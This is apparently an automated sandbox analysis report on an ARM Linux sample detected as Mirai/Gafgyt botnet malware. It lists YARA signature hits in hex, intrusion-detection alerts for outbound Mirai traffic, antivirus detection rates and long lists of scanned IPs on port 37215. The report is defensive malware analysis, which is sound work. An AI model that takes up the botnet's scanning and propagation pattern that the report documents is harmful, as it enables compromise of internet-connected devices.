2F 78 46 4A 2F
Process Memory Space: ewe.arm.elf PID: 5592	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x38fd:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Process Memory Space: ewe.arm.elf PID: 5597	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: ewe.arm.elf PID: 5597	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x2cb1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2cc5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2cd9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2ced:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2d01:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2d15:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2d29:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2d3d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2d51:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2d65:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2d79:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2d8d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2da1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2db5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2dc9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2ddd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2df1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2e05:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2e19:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2e2d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2e41:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: ewe.arm.elf PID: 5597	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x316f:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Process Memory Space: ewe.arm.elf PID: 5599	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x11fcc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11fe0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Click to see the 45 entries

Suricata Signatures

ETPRO MALWARE ELF/Mirai User-Agent Observed (Outbound)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-27T07:08:36.054988+0100	2841377	1	Attempted Administrator Privilege Gain	192.168.2.14	56084	95.251.67.121	80	TCP
2025-02-27T07:08:37.636047+0100	2841377	1	Attempted Administrator Privilege Gain	192.168.2.14	50474	95.107.74.132	80	TCP
2025-02-27T07:08:39.234367+0100	2841377	1	Attempted Administrator Privilege Gain	192.168.2.14	33774	95.164.65.25	80	TCP
2025-02-27T07:08:41.056059+0100	2841377	1	Attempted Administrator Privilege Gain	192.168.2.14	35210	95.198.26.202	80	TCP
2025-02-27T07:08:41.441889+0100	2841377	1	Attempted Administrator Privilege Gain	192.168.2.14	44840	95.67.80.76	80	TCP
2025-02-27T07:08:46.471534+0100	2841377	1	Attempted Administrator Privilege Gain	192.168.2.14	45096	95.101.47.132	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: ewe.arm.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: ewe.arm.elf	Virustotal: Detection: 67%			Perma Link
Source: ewe.arm.elf	ReversingLabs: Detection: 71%

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2841377 - Severity 1 - ETPRO MALWARE ELF/Mirai User-Agent Observed (Outbound) : 192.168.2.14:56084 -> 95.251.67.121:80
Source: Network traffic	Suricata IDS: 2841377 - Severity 1 - ETPRO MALWARE ELF/Mirai User-Agent Observed (Outbound) : 192.168.2.14:50474 -> 95.107.74.132:80
Source: Network traffic	Suricata IDS: 2841377 - Severity 1 - ETPRO MALWARE ELF/Mirai User-Agent Observed (Outbound) : 192.168.2.14:33774 -> 95.164.65.25:80
Source: Network traffic	Suricata IDS: 2841377 - Severity 1 - ETPRO MALWARE ELF/Mirai User-Agent Observed (Outbound) : 192.168.2.14:35210 -> 95.198.26.202:80
Source: Network traffic	Suricata IDS: 2841377 - Severity 1 - ETPRO MALWARE ELF/Mirai User-Agent Observed (Outbound) : 192.168.2.14:44840 -> 95.67.80.76:80
Source: Network traffic	Suricata IDS: 2841377 - Severity 1 - ETPRO MALWARE ELF/Mirai User-Agent Observed (Outbound) : 192.168.2.14:45096 -> 95.101.47.132:80

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 197.8.223.43 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.91.205.227 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.188.15.108 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.55.116.240 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.153.124.75 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.170.100.209 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.207.18.102 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.73.50.27 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.192.177.103 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.71.137.102 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.75.126.211 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.87.123.131 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.52.187.243 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.181.11.136 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.143.63.188 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.19.61.4 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.206.172.103 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.196.191.228 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.112.195.73 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.164.124.28 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.234.239.154 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.217.182.195 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.74.14.186 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.27.193.249 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.240.150.89 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.27.155.122 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.3.100.241 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.184.47.64 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.99.235.121 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.78.246.145 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.35.40.175 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.55.168.239 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.233.12.90 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.0.59.184 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.151.244.255 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.175.2.76 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.195.81.126 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.22.1.231 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.20.49.166 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.25.106.16 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.71.61.75 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.175.62.249 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.143.78.49 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.97.147.87 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.251.54.242 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.65.23.177 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.135.26.133 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.111.198.8 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.209.105.119 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.155.158.69 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.132.160.82 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.239.12.144 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.205.58.231 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.3.17.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.220.17.36 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.113.98.176 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.182.79.140 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.68.129.203 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.7.98.194 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.180.59.182 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.121.215.42 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.24.182.85 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.196.114.114 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.0.226.251 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.185.46.150 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.213.37.124 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.81.122.47 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.66.4.227 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.185.165.210 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.169.234.129 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.233.146.207 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.193.192.94 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.144.83.131 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.156.179.143 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.1.223.53 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.108.243.191 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.92.31.196 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.13.101.45 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.38.11.254 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.148.165.145 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.249.182.20 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.84.120.208 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.22.68.245 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.156.182.204 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.107.129.241 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.247.202.137 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.80.71.250 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.50.15.95 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.85.122.173 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.114.175.92 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.168.125.225 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.198.185.216 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.111.241.92 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.73.229.142 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.115.28.158 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.243.151.67 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.114.167.203 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.123.184.37 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.255.17.129 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.41.247.55 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.59.27.55 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.51.100.109 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.200.99.189 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.155.4.33 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.174.124.163 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.146.34.24 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.104.194.31 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.14.207.80 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.65.157.21 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.93.195.8 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.234.59.88 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.178.38.227 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.122.201.4 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.158.163.249 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.20.52.21 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.177.199.246 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.111.112.210 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.133.242.245 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.162.183.54 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.13.238.119 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.23.162.18 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.193.133.57 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.164.233.79 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.201.172.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.153.67.10 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.86.108.181 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.9.163.194 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.33.78.29 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.64.113.78 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.226.163.209 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.79.152.119 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.240.181.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.208.163.89 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.142.198.174 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.53.23.73 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.43.149.191 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.222.249.18 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.3.230.4 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.135.196.234 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.131.187.227 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.210.45.80 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.219.121.124 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.154.151.222 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.183.247.234 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.157.36.169 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.186.179.244 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.171.161.89 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.13.197.215 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.223.6.168 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.171.27.158 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.198.53.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.113.68.20 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.149.32.102 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.188.78.180 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.155.7.67 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.187.52.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.131.88.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.225.220.135 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.94.193.85 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.65.95.245 ports 1,2,3,5,7,37215

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 60094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38006 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54688 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60864 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51136 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39848 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48310 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34432 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50648 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55384 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36648 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58724 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48522 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38488 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38688 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56400 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59724 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43522 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57568 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50648 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43792 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44178 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50638 -> 37215
